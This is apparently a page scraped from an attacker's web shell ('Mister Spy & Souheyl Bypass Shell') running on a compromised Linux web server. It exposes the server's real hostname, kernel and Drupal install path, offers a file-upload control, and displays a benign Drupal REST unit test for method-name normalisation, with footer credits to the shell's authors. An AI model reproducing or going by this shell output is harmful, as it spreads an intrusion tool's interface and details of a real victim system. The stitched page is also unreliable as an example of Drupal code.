Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/pallets_old/web/core/modules/rest/tests/src/Unit/Entity/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/pallets_old/web/core/modules/rest/tests/src/Unit/Entity/RestResourceConfigTest.php

<?php

namespace Drupal\Tests\rest\Unit\Entity;

use Drupal\rest\Entity\RestResourceConfig;
use Drupal\rest\RestResourceConfigInterface;
use Drupal\Tests\UnitTestCase;

/**
 * @coversDefaultClass \Drupal\rest\Entity\RestResourceConfig
 *
 * @group rest
 */
class RestResourceConfigTest extends UnitTestCase {

  /**
   * Asserts that rest methods are normalized to upper case.
   *
   * This also tests that no exceptions are thrown during that method so that
   * alternate methods such as OPTIONS and PUT are supported.
   */
  public function testNormalizeRestMethod() {
    $expected = ['GET', 'PUT', 'POST', 'PATCH', 'DELETE', 'OPTIONS', 'FOO'];
    $methods = ['get', 'put', 'post', 'patch', 'delete', 'options', 'foo'];
    $configuration = [];
    foreach ($methods as $method) {
      $configuration[$method] = [
        'supported_auth' => ['cookie'],
        'supported_formats' => ['json'],
      ];
    }

    $entity = new RestResourceConfig([
      'plugin_id' => 'entity:entity_test',
      'granularity' => RestResourceConfigInterface::METHOD_GRANULARITY,
      'configuration' => $configuration,
    ], 'rest_resource_config');

    $this->assertEquals($expected, $entity->getMethods());
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net